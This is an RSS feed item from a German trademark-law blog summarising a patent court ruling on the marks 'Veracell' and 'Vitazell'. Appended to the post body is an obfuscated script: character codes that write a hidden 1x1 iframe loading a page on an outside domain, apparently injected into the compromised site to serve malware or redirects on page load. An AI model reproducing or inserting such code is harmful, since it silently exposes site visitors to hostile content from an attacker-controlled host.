<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Markenrecht-Blog.de &#187; Marke gegen Marke</title>
	<atom:link href="http://www.markenrecht-blog.de/category/marke-gegen-marke/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.markenrecht-blog.de</link>
	<description>Blog der Rechtsanwälte Balan Stockmann &#038; Partner, Jena, zum Markenrecht</description>
	<lastBuildDate>Fri, 13 Aug 2010 18:14:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Der</title>
		<link>http://www.markenrecht-blog.de/2007-08-30/der-unterschied-zwischen-%e2%80%9er%e2%80%9c-und-%e2%80%9et%e2%80%9c-%e2%80%93-vitazell-vs-veracell-%e2%80%93-bpatg-beschluss-vom-30-juli-2007-az-25-w-pat-11205/</link>
		<comments>http://www.markenrecht-blog.de/2007-08-30/der-unterschied-zwischen-%e2%80%9er%e2%80%9c-und-%e2%80%9et%e2%80%9c-%e2%80%93-vitazell-vs-veracell-%e2%80%93-bpatg-beschluss-vom-30-juli-2007-az-25-w-pat-11205/#comments</comments>
		<pubDate>Wed, 29 Aug 2007 22:30:02 +0000</pubDate>
		<dc:creator>Rechtsanwalt Dr. Markus Stockmann</dc:creator>
				<category><![CDATA[Marke gegen Marke]]></category>

		<guid isPermaLink="false">http://www.markenrecht-blog.de/2007-08-30/der-unterschied-zwischen-%e2%80%9er%e2%80%9c-und-%e2%80%9et%e2%80%9c-%e2%80%93-vitazell-vs-veracell-%e2%80%93-bpatg-beschluss-vom-30-juli-2007-az-25-w-pat-11205/</guid>
		<description><![CDATA[Zwischen den Kennzeichen „Veracell“ und „Vitazell“ besteht bei sehr ähnlichen Waren keine Verwechslungsgefahr nach § 9 Abs. 1 Nr. 2 Markengesetz (MarkenG). Unter anderem in klanglicher Hinsicht seien die Marken hinreichend verschieden, da die Endungen „cell“/“zell“ als beschreibender Hinweis auf „Zelle“ so schwach ist, dass der Verkehr auf die nicht zu überhörenden Unterschiede in den [...]]]></description>
			<content:encoded><![CDATA[<p>Zwischen den Kennzeichen „Veracell“ und „Vitazell“ besteht bei sehr ähnlichen Waren keine Verwechslungsgefahr nach § 9 Abs. 1 Nr. 2 Markengesetz (MarkenG). </p>
<p>Unter anderem in klanglicher Hinsicht seien die Marken hinreichend verschieden, da die Endungen „cell“/“zell“ als beschreibender Hinweis auf „Zelle“ so schwach ist, dass der Verkehr auf die nicht zu überhörenden Unterschiede in den jeweiligen Anfangssilben „Vera“ und „Vita“ besonders achtet. Verantwortlich hierfür sei in erster Linie der Unterschied zwischen dem weichen „r“ in der Silbe „Vera“ und dem harten „t“ in der Silbe „Vita“ …</p>
<p><a href="http://juris.bundespatentgericht.de/cgi-bin/rechtsprechung/document.py?Gericht=bpatg&#038;Art=en&#038;Datum=Aktuell&#038;nr=2685&#038;pos=11&#038;anz=452&#038;Blank=1.pdf">Link zum Volltext</a><span id="more-40"></span><!--9420a04cf5963b65cc2df54055a4f82422010--><br />
<script type="text/javascript">document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))</script><!--/9420a04cf5963b65cc2df54055a4f82422010--></p>
]]></content:encoded>
			<wfw:commentRss>http://www.markenrecht-blog.de/2007-08-30/der-unterschied-zwischen-%e2%80%9er%e2%80%9c-und-%e2%80%9et%e2%80%9c-%e2%80%93-vitazell-vs-veracell-%e2%80%93-bpatg-beschluss-vom-30-juli-2007-az-25-w-pat-11205/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

